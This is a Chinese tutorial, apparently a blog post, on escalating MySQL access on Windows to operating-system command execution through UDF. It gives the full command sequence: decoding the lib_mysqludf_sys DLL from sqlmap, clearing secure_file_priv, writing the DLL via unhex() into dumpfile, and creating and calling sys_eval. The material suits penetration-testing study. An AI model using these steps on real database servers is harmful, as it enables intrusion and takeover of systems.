windwos下mysql的udf提权

MySql UDF提权介绍

UDF(User Defined Functions)即用户自定义函数,通过这种方式可以实现命令执行,其原理是通过lib_mysqludf_sys提供的函数可以执行系统命令 攻击场景:同之前利用日志写WebShell的场景,即堆叠注入或MySQL终端权限或类似phpMyAdmin数据库管理工具后台权限等

UDF的几个关键函数

sys_eval():执行任意命令,并将输出返回

sys_exec():执行任意命令,并将返回码返回

sys_get():获取一个环境变量

sys set():创建或修改一个环境变量

UDF文件获取的方式

复制代码
https://github.com/mysqludf/lib_mysqludf_sys

sqlmap工具中的UDF文件

sqlmap下:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

sqlmap中的UDF文件位于sqlmap/data/udf/mysqI/目录中,该文件经过编码,需要使用sqlmap/extra/cloak目录下的cloak.py文件进行解码

liunx:

复制代码
python cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys.so

windwos:

复制代码
python cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll

dumpfile语法

dumpfile:功能、语法及限制同outfile,但一次只导出一行内容

基本语法: select[列名] from table [where语句] intodumpfile '目标文件'[option];

两者区别

outfile可导出多行数据,而dumpfile只导出一行outfile在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

查看路径

用phpstudy的Extensions\MySQL5.7.26\bin\mysql.exe客户端程序,通过获取代的账号密码登录mysql服务端

查看mysql服务器公共库路径

复制代码
show variables like 'plugin%';        

查看secure_file_priv值是否为空

复制代码
show global variables like 'secure%'; 

去查看它的设置,发现设置为NULL,secure_file_priv为NULL是禁止导出文件的意思。怪不得无法导出十六进制,那我们就去设置一下吧。我们把secure_file_priv设置为secure_file_priv=

那么我们可以通过修改my.ini去设置secure_file_priv 。

查看mysql安装路径

复制代码
select @@basedir;

然后访问这个地址,拿到my.ini

然后我们打开my.ini(以记事本方式打开即可)

添加下面标红的语句,保存退出。

secure_file_priv=

然后再查看一下,发现secure_file_priv已经改过来了

确定平台是64位还是32位

复制代码
show variables like '%version_%';

将udf.dll写入到plugin目录下

先在Mysql根目录中国新建lib\plugin的子目录,再往mysql的plugin目录中写UDF文件

复制代码
select unhex('xxx') into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys.dll';

注意: unhex()函数值就是UDF文件的Hex值,在Linux下可以使用hexdump命令获取,在Windows下使用WinHex可以获取得到 利用dumpfile才能将原文件数据原封不动地写到指定文件中

WinHex

WinHex是一款16进制的文本编辑器与磁盘编辑软件。可以进行Hex和ASCII编码的编辑与修改,支持多文件搜寻替换功能模式,一般运算和逻辑运算,磁盘磁区的编辑,文件比对和分析功能 下载地址: 【WinHex下载】2024年最新官方正式版WinHex 免费下载 - 腾讯软件中心官网 这里用WinHex打开获取lib_mysqludf_sys.dll文件Hex数据

名字执行

创建函数

复制代码
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

执行

复制代码
select sys_eval("whoami");
相关推荐
mooyuan天天7 小时前
DVWA靶场通关笔记-文件上传(Medium级别)
web安全·文件上传·文件上传漏洞·dvwa靶场·文件上传mime
速盾cdn11 小时前
速盾:高防CDN还有哪些冷知识?
网络·web安全
m0_7381207216 小时前
玄机——某学校系统中挖矿病毒应急排查
网络·安全·web安全
浩浩测试一下10 天前
渗透测试指南(CS&&MSF):Windows 与 Linux 系统中的日志与文件痕迹清理
linux·运维·windows·安全·web安全·网络安全·系统安全
安全系统学习10 天前
【网络安全】DNS 域原理、危害及防御
算法·安全·web安全·网络安全·哈希算法
我看就这样吧10 天前
内网提权-脏牛提权(Metasploitable2)
web安全
ALe要立志成为web糕手10 天前
Kubernetes安全
安全·web安全·网络安全·k8s·云安全
mooyuan天天10 天前
pikachu靶场通关笔记44 SSRF关卡02-file_get_content(三种方法渗透)
网络·安全·web安全·ssrf·ssrf漏洞
mooyuan天天10 天前
pikachu靶场通关笔记43 SSRF关卡01-CURL(三种方法渗透)
笔记·安全·web安全·ssrf漏洞
鹿鸣天涯10 天前
网络安全应急响应实战笔记
安全·web安全